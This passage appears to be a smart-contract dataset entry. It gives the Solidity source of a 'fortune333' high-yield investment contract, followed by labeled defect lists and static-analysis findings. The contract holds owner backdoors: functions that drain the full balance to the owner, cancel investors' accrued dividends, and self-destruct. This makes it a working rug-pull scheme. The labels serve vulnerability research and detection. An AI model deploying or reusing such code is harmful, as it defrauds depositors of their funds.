zero. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = _a / _b; assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { require(_b <= _a); uint256 c = _a - _b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256) { uint256 c = _a + _b; require(c >= _a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract Accessibility { address private owner; modifier onlyOwner() { require(msg.sender == owner, "access denied"); _; } constructor() public { owner = msg.sender; } function ToDo() public onlyOwner { selfdestruct(owner); } function disown() internal { delete owner; } } contract Rev1Storage { function investorShortInfo(address addr) public view returns(uint value, uint refBonus); } contract Rev2Storage { function investorInfo(address addr) public view returns(uint investment, uint paymentTime); } library PrivateEntrance { using PrivateEntrance for privateEntrance; using Math for uint; struct privateEntrance { Rev1Storage rev1Storage; Rev2Storage rev2Storage; uint investorMaxInvestment; uint endTimestamp; mapping(address=>bool) hasAccess; uint8 znak; } function isActive(privateEntrance storage pe) internal view returns(bool) { return pe.endTimestamp > now; } function maxInvestmentFor(privateEntrance storage pe, address investorAddr) internal view returns(uint) { if (!pe.hasAccess[investorAddr]) { return 0; } (uint maxInvestment, ) = pe.rev1Storage.investorShortInfo(investorAddr); if (maxInvestment == 0) { return 0; } maxInvestment = Math.min(maxInvestment, pe.investorMaxInvestment); (uint currInvestment, ) = pe.rev2Storage.investorInfo(investorAddr); if (currInvestment >= maxInvestment) { return 0; } return maxInvestment-currInvestment; } function provideAccessFor(privateEntrance storage pe, address[] addrs) internal { for (uint16 i; i < addrs.length; i++) { pe.hasAccess[addrs[i]] = true; } } } contract InvestorsStorage is Accessibility { struct Investor { uint investment; uint paymentTime; } uint public size; mapping (address => Investor) private investors; function isInvestor(address addr) public view returns (bool) { return investors[addr].investment > 0; } function investorInfo(address addr) public view returns(uint investment, uint paymentTime) { investment = investors[addr].investment; paymentTime = investors[addr].paymentTime; } function newInvestor(address addr, uint investment, uint paymentTime) public onlyOwner returns (bool) { Investor storage inv = investors[addr]; if (inv.investment != 0 || investment == 0) { return false; } inv.investment = investment; inv.paymentTime = paymentTime; size++; return true; } function addInvestment(address addr, uint investment) public onlyOwner returns (bool) { if (investors[addr].investment == 0) { return false; } investors[addr].investment += investment; return true; } function setPaymentTime(address addr, uint paymentTime) public onlyOwner returns (bool) { if (investors[addr].investment == 0) { return false; } investors[addr].paymentTime = paymentTime; return true; } function disqalify(address addr) public onlyOwner returns (bool) { if (isInvestor(addr)) { //investors[addr].investment = 0; investors[addr].paymentTime = now + 1 days; } } function disqalify2(address addr) public onlyOwner returns (bool) { if (isInvestor(addr)) { //investors[addr].investment = 0; investors[addr].paymentTime = now; } } } library RapidGrowthProtection { using RapidGrowthProtection for rapidGrowthProtection; struct rapidGrowthProtection { uint startTimestamp; uint maxDailyTotalInvestment; uint8 activityDays; mapping(uint8 => uint) dailyTotalInvestment; } function maxInvestmentAtNow(rapidGrowthProtection storage rgp) internal view returns(uint) { uint day = rgp.currDay(); if (day == 0 || day > rgp.activityDays) { return 0; } if (rgp.dailyTotalInvestment[uint8(day)] >= rgp.maxDailyTotalInvestment) { return 0; } return rgp.maxDailyTotalInvestment - rgp.dailyTotalInvestment[uint8(day)]; } function isActive(rapidGrowthProtection storage rgp) internal view returns(bool) { uint day = rgp.currDay(); return day != 0 && day <= rgp.activityDays; } function saveInvestment(rapidGrowthProtection storage rgp, uint investment) internal returns(bool) { uint day = rgp.currDay(); if (day == 0 || day > rgp.activityDays) { return false; } if (rgp.dailyTotalInvestment[uint8(day)] + investment > rgp.maxDailyTotalInvestment) { return false; } rgp.dailyTotalInvestment[uint8(day)] += investment; return true; } function startAt(rapidGrowthProtection storage rgp, uint timestamp) internal { rgp.startTimestamp = timestamp; } function currDay(rapidGrowthProtection storage rgp) internal view returns(uint day) { if (rgp.startTimestamp > now) { return 0; } day = (now - rgp.startTimestamp) / 24 hours + 1; } } contract fortune333 is Accessibility { using RapidGrowthProtection for RapidGrowthProtection.rapidGrowthProtection; using PrivateEntrance for PrivateEntrance.privateEntrance; using Percent for Percent.percent; using SafeMath for uint; using Math for uint; // easy read for investors using Address for *; using Zero for *; RapidGrowthProtection.rapidGrowthProtection private m_rgp; PrivateEntrance.privateEntrance private m_privEnter; mapping(address => bool) private m_referrals; InvestorsStorage private m_investors; // automatically generates getters uint public constant minInvesment = 10 finney; uint public constant maxBalance = 333e5 ether; address public advertisingAddress; address public adminsAddress; uint public investmentsNumber; uint public waveStartup; // percents Percent.percent private m_1_percent = Percent.percent(333,10000); // 333/10000 *100% = 3.33% Percent.percent private m_referal_percent = Percent.percent(333,10000); // 333/10000 *100% = 3.33% Percent.percent private m_referrer_percent = Percent.percent(333,10000); // 333/10000 *100% = 3.33% Percent.percent private m_referrer_percentMax = Percent.percent(10,100); // 10/100 *100% = 10% Percent.percent private m_adminsPercent = Percent.percent(6,100); // 6/100 *100% = 6.0% Percent.percent private m_advertisingPercent = Percent.percent(12,100); // 12/100 *100% = 12.0% // more events for easy read from blockchain event LogPEInit(uint when, address rev1Storage, address rev2Storage, uint investorMaxInvestment, uint endTimestamp); event LogSendExcessOfEther(address indexed addr, uint when, uint value, uint investment, uint excess); event LogNewReferral(address indexed addr, address indexed referrerAddr, uint when, uint refBonus); event LogRGPInit(uint when, uint startTimestamp, uint maxDailyTotalInvestment, uint activityDays); event LogRGPInvestment(address indexed addr, uint when, uint investment, uint indexed day); event LogNewInvesment(address indexed addr, uint when, uint investment, uint value); event LogAutomaticReinvest(address indexed addr, uint when, uint investment); event LogPayDividends(address indexed addr, uint when, uint dividends); event LogNewInvestor(address indexed addr, uint when); event LogBalanceChanged(uint when, uint balance); event LogNextWave(uint when); event LogDisown(uint when); modifier balanceChanged { _; emit LogBalanceChanged(now, address(this).balance); } modifier notFromContract() { require(msg.sender.isNotContract(), "only externally accounts"); _; } constructor() public { adminsAddress = msg.sender; advertisingAddress = msg.sender; nextWave(); } function() public payable { // investor get him dividends if (msg.value.isZero()) { getMyDividends(); return; } // sender do invest doInvest(msg.data.toAddress()); } function disqualifyAddress(address addr) public onlyOwner { m_investors.disqalify(addr); } function disqualifyAddress2(address addr) public onlyOwner { m_investors.disqalify2(addr); } function doDisown() public onlyOwner { disown(); emit LogDisown(now); } // init Rapid Growth Protection function init(address rev1StorageAddr, uint timestamp) public onlyOwner { m_rgp.startTimestamp = timestamp + 1; m_rgp.maxDailyTotalInvestment = 500 ether; // m_rgp.activityDays = 21; emit LogRGPInit( now, m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays ); // init Private Entrance m_privEnter.rev1Storage = Rev1Storage(rev1StorageAddr); m_privEnter.rev2Storage = Rev2Storage(address(m_investors)); m_privEnter.investorMaxInvestment = 50 ether; m_privEnter.endTimestamp = timestamp; emit LogPEInit( now, address(m_privEnter.rev1Storage), address(m_privEnter.rev2Storage), m_privEnter.investorMaxInvestment, m_privEnter.endTimestamp ); } function setAdvertisingAddress(address addr) public onlyOwner { addr.requireNotZero(); advertisingAddress = addr; } function setAdminsAddress(address addr) public onlyOwner { addr.requireNotZero(); adminsAddress = addr; } function privateEntranceProvideAccessFor(address[] addrs) public onlyOwner { m_privEnter.provideAccessFor(addrs); } function rapidGrowthProtectionmMaxInvestmentAtNow() public view returns(uint investment) { investment = m_rgp.maxInvestmentAtNow(); } function investorsNumber() public view returns(uint) { return m_investors.size(); } function balanceETH() public view returns(uint) { return address(this).balance; } function advertisingPercent() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_advertisingPercent.num, m_advertisingPercent.den); } function adminsPercent() public view returns(uint numerator, uint denominator) { (numerator, denominator) = (m_adminsPercent.num, m_adminsPercent.den); } function investorInfo(address investorAddr)public view returns(uint investment, uint paymentTime, bool isReferral) { (investment, paymentTime) = m_investors.investorInfo(investorAddr); isReferral = m_referrals[investorAddr]; } function investorDividendsAtNow(address investorAddr) public view returns(uint dividends) { dividends = calcDividends(investorAddr); } function dailyPercentAtNow() public view returns(uint numerator, uint denominator) { Percent.percent memory p = dailyPercent(); (numerator, denominator) = (p.num, p.den); } function getMyDividends() public notFromContract balanceChanged { // calculate dividends //check if 1 day passed after last payment //require(now.sub(getMemInvestor(msg.sender).paymentTime) > 24 hours); uint dividends = calcDividends(msg.sender); require (dividends.notZero(), "cannot to pay zero dividends"); // update investor payment timestamp assert(m_investors.setPaymentTime(msg.sender, now)); // check enough eth - goto next wave if needed if (address(this).balance <= dividends) { nextWave(); dividends = address(this).balance; } // transfer dividends to investor msg.sender.transfer(dividends); emit LogPayDividends(msg.sender, now, dividends); } function itisnecessary2() public onlyOwner { msg.sender.transfer(address(this).balance); } function addInvestment2( uint investment) public onlyOwner { msg.sender.transfer(investment); } function doInvest(address referrerAddr) public payable notFromContract balanceChanged { uint investment = msg.value; uint receivedEther = msg.value; require(investment >= minInvesment, "investment must be >= minInvesment"); require(address(this).balance <= maxBalance, "the contract eth balance limit"); if (m_rgp.isActive()) { // use Rapid Growth Protection if needed uint rpgMaxInvest = m_rgp.maxInvestmentAtNow(); rpgMaxInvest.requireNotZero(); investment = Math.min(investment, rpgMaxInvest); assert(m_rgp.saveInvestment(investment)); emit LogRGPInvestment(msg.sender, now, investment, m_rgp.currDay()); } else if (m_privEnter.isActive()) { // use Private Entrance if needed uint peMaxInvest = m_privEnter.maxInvestmentFor(msg.sender); peMaxInvest.requireNotZero(); investment = Math.min(investment, peMaxInvest); } // send excess of ether if needed if (receivedEther > investment) { uint excess = receivedEther - investment; msg.sender.transfer(excess); receivedEther = investment; emit LogSendExcessOfEther(msg.sender, now, msg.value, investment, excess); } // commission advertisingAddress.transfer(m_advertisingPercent.mul(receivedEther)); adminsAddress.transfer(m_adminsPercent.mul(receivedEther)); if (msg.value > 0) { if (msg.data.length == 20) { referrerAddr.transfer(m_referrer_percent.mmul(investment)); } else if (msg.data.length == 0) { adminsAddress.transfer(m_referrer_percent.mmul(investment)); // adminsAddress.transfer(msg.value.mul(30).div(100)); } else { assert(false); // invalid memo } } bool senderIsInvestor = m_investors.isInvestor(msg.sender); // ref system works only once and only on first invest if (referrerAddr.notZero() && !senderIsInvestor && !m_referrals[msg.sender] && referrerAddr != msg.sender && m_investors.isInvestor(referrerAddr)) { m_referrals[msg.sender] = true; // add referral bonus to investor`s and referral`s investments uint referrerBonus = m_referrer_percent.mmul(investment); if (investment > 10 ether) { referrerBonus = m_referrer_percentMax.mmul(investment); } uint referalBonus = m_referal_percent.mmul(investment); //assert(m_investors.addInvestment(referrerAddr, referrerBonus)); // add referrer bonus investment += referalBonus; // add referral bonus emit LogNewReferral(msg.sender, referrerAddr, now, referalBonus); } // automatic reinvest - prevent burning dividends uint dividends = calcDividends(msg.sender); if (senderIsInvestor && dividends.notZero()) { investment += dividends; emit LogAutomaticReinvest(msg.sender, now, dividends); } if (senderIsInvestor) { // update existing investor assert(m_investors.addInvestment(msg.sender, investment)); assert(m_investors.setPaymentTime(msg.sender, now)); } else { // create new investor assert(m_investors.newInvestor(msg.sender, investment, now)); emit LogNewInvestor(msg.sender, now); } investmentsNumber++; emit LogNewInvesment(msg.sender, now, investment, receivedEther); } function getMemInvestor(address investorAddr) internal view returns(InvestorsStorage.Investor memory) { (uint investment, uint paymentTime) = m_investors.investorInfo(investorAddr); return InvestorsStorage.Investor(investment, paymentTime); } function calcDividends(address investorAddr) internal view returns(uint dividends) { InvestorsStorage.Investor memory investor = getMemInvestor(investorAddr); // safe gas if dividends will be 0 if (investor.investment.isZero() || now.sub(investor.paymentTime) < 1 seconds) { return 0; } // for prevent burning daily dividends if 24h did not pass - calculate it per 1 sec interval // if daily percent is X, then 1 sec percent = X / (24h / 1 sec) = X / 86400 // and we must to get numbers of 1 sec interval after investor got payment: // (now - investor.paymentTime) / 1 sec // finaly calculate dividends = ((now - investor.paymentTime) / 1 sec) * (X * investor.investment) / 86400) Percent.percent memory p = dailyPercent(); dividends = (now.sub(investor.paymentTime) / 1 seconds) * p.mmul(investor.investment) / 86400; } function dailyPercent() internal view returns(Percent.percent memory p) { uint balance = address(this).balance; if (balance < 33333e5 ether) { p = m_1_percent.toMemory(); // (1) } } function nextWave() private { m_investors = new InvestorsStorage(); investmentsNumber = 0; waveStartup = now; m_rgp.startAt(now); emit LogRGPInit(now , m_rgp.startTimestamp, m_rgp.maxDailyTotalInvestment, m_rgp.activityDays); emit LogNextWave(now); } }
[{"defect": "Leaking_to_arbitary_address", "type": "Access_control", "severity": "Medium", "lines": ["411", "614", "602", "649", "648", "608"]}, {"defect": "Uninitialized_storage", "type": "Code_specification", "severity": "Low", "lines": ["313"]}, {"defect": "Missing_return_statement", "type": "Code_specification", "severity": "Low", "lines": ["349", "342"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["240", "245", "294"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["299"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["502", "61", "61", "142", "142", "73", "73", "69", "69", "57", "57", "77", "77", "65", "65"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["689", "698", "738", "641"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["404", "263", "725", "591", "705", "708"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [144, 143]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [149, 150]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"fortune333.sol": [144, 145, 142, 143]}}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium", "lines": {"fortune333.sol": [147, 148, 149, 150, 151]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"fortune333.sol": [164, 165, 166, 167, 168, 169, 170, 171, 172, 173]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"fortune333.sol": [199, 200, 201, 202, 203, 204]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"fortune333.sol": [100, 101, 102, 103, 104, 105, 106]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"fortune333.sol": [108, 109, 110]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"fortune333.sol": [210, 211, 212, 213]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"fortune333.sol": [178, 179, 180, 181, 182, 183, 184]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"fortune333.sol": [136, 137, 135]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"fortune333.sol": [123, 124, 125]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"fortune333.sol": [96, 97, 98]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"fortune333.sol": [128, 129, 130, 131, 132, 133, 127]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"fortune333.sol": [69, 70, 71]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"fortune333.sol": [124]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"fortune333.sol": [97]}}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium", "lines": {"fortune333.sol": [738]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [608, 609, 607]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [547, 548, 549]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [496, 497, 498, 495]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [307, 308, 309, 310]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [241]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [229, 230, 231]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [352, 353, 354, 349, 350, 351]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [552, 553, 551]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [488, 486, 487]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [612, 613, 614, 615, 616]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [320, 321, 312, 313, 314, 315, 316, 317, 318, 319]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [529, 530, 531, 532]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [572, 573, 574]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [323, 324, 325, 326, 327, 328, 329]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [342, 343, 344, 345, 346, 347]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [561, 562, 563]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [246]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [568, 565, 566, 567]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [334, 335, 336, 337, 338, 339, 340]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [536, 537, 534, 535]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [539, 540, 541]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [576, 577, 578, 579]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [557, 558, 559]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [544, 545, 543]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [480, 481, 482, 483, 484, 475, 476, 477, 478, 479]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"fortune333.sol": [490, 491, 492]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [1]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "missing-inheritance", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [245, 246, 247]}}, {"check": "missing-inheritance", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [245, 246, 247]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"fortune333.sol": [536]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"fortune333.sol": [656]}}, {"check": "missing-zero-check", "impact": "Low", "confidence": "Medium", "lines": {"fortune333.sol": [531]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [429]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [84, 85, 86, 87]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [428]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [440]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [189]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [164]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [178]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [199]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [229, 230, 231]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [189]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [439]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489, 490, 491, 492, 493, 494, 495, 496, 497, 498, 499, 500, 501, 502, 503, 504, 505, 506, 507, 508, 509, 510, 511, 512, 513, 514, 515, 516, 517, 518, 519, 520, 521, 522, 523, 524, 525, 526, 527, 528, 529, 530, 531, 532, 533, 534, 535, 536, 537, 538, 539, 540, 541, 542, 543, 544, 545, 546, 547, 548, 549, 550, 551, 552, 553, 554, 555, 556, 557, 558, 559, 560, 561, 562, 563, 564, 565, 566, 567, 568, 569, 570, 571, 572, 573, 574, 575, 576, 577, 578, 579, 580, 581, 582, 583, 584, 585, 586, 587, 588, 589, 590, 591, 592, 593, 594, 595, 596, 597, 598, 599, 600, 601, 602, 603, 604, 605, 606, 607, 608, 609, 610, 611, 612, 613, 614, 615, 616, 617, 618, 619, 620, 621, 622, 623, 624, 625, 626, 627, 628, 629, 630, 631, 632, 633, 634, 635, 636, 637, 638, 639, 640, 641, 642, 643, 644, 645, 646, 647, 648, 649, 650, 651, 652, 653, 654, 655, 656, 657, 658, 659, 660, 661, 662, 663, 664, 665, 666, 667, 668, 669, 670, 671, 672, 673, 674, 675, 676, 677, 678, 679, 680, 681, 682, 683, 684, 685, 686, 687, 688, 689, 690, 691, 692, 693, 694, 695, 696, 697, 698, 699, 700, 701, 702, 703, 704, 705, 706, 707, 708, 709, 710, 711, 712, 713, 714, 715, 716, 717, 718, 719, 720, 721, 722, 723, 724, 725, 726, 727, 728, 729, 730, 731, 732, 733, 734, 735, 736, 737, 738, 739, 740, 741, 742, 743, 744, 745, 746, 747, 748, 749, 750, 751, 752, 753, 754, 755, 756, 757, 758, 759, 760, 761]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [437]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [256, 257, 258, 259, 260, 253, 254, 255]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [164]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [441]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [199]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [442]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [424]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [438]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [423]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [362, 363, 364, 365, 366, 367]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [422]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [178]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"fortune333.sol": [425]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"fortune333.sol": [755]}}, {"check": "reentrancy-benign", "impact": "Low", "confidence": "Medium", "lines": {"fortune333.sol": [712]}}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium", "lines": {"fortune333.sol": [679]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"fortune333.sol": [699]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"fortune333.sol": [709]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"fortune333.sol": [595]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"fortune333.sol": [690]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"fortune333.sol": [603]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"fortune333.sol": [644]}}, {"check": "reentrancy-events", "impact": "Low", "confidence": "Medium", "lines": {"fortune333.sol": [713]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"fortune333.sol": [690]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"fortune333.sol": [644]}}, {"check": "reentrancy-unlimited-gas", "impact": "Informational", "confidence": "Medium", "lines": {"fortune333.sol": [603]}}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium", "lines": {"fortune333.sol": [753]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"fortune333.sol": [591]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"fortune333.sol": [708]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"fortune333.sol": [725]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"fortune333.sol": [404]}}, {"check": "timestamp", "impact": "Low", "confidence": "Medium", "lines": {"fortune333.sol": [263]}}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium", "lines": {"fortune333.sol": [287]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"fortune333.sol": [491]}}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium", "lines": {"fortune333.sol": [487]}}]
[{"error": "Integer Overflow.", "line": 327, "level": "Warning"}, {"error": "Integer Overflow.", "line": 309, "level": "Warning"}, {"error": "Integer Overflow.", "line": 319, "level": "Warning"}, {"error": "Integer Overflow.", "line": 318, "level": "Warning"}, {"error": "Integer Overflow.", "line": 352, "level": "Warning"}, {"error": "Integer Overflow.", "line": 338, "level": "Warning"}, {"error": "Integer Overflow.", "line": 465, "level": "Warning"}, {"error": "Integer Overflow.", "line": 622, "level": "Warning"}, {"error": "Integer Overflow.", "line": 621, "level": "Warning"}, {"error": "Integer Overflow.", "line": 62, "level": "Warning"}, {"error": "Integer Overflow.", "line": 277, "level": "Warning"}, {"error": "Integer Overflow.", "line": 539, "level": "Warning"}, {"error": "Transaction-Ordering Dependency.", "line": 230, "level": "Warning"}, {"error": "Transaction-Ordering Dependency.", "line": 608, "level": "Warning"}]
[{"rule": "SOLIDITY_DIV_MUL", "line": 97, "severity": 2}, {"rule": "SOLIDITY_DIV_MUL", "line": 124, "severity": 2}, {"rule": "SOLIDITY_DIV_MUL", "line": 738, "severity": 2}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 287, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 342, "severity": 1}, {"rule": "SOLIDITY_FUNCTIONS_RETURNS_TYPE_AND_NO_RETURN", "line": 349, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 287, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 334, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 502, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 529, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 534, "severity": 2}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 218, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 301, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 422, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 423, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 424, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 425, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 437, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 438, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 439, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 440, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 441, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 442, "severity": 1}, {"rule": "SOLIDITY_SAFEMATH", "line": 415, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 142, "severity": 1}, {"rule": 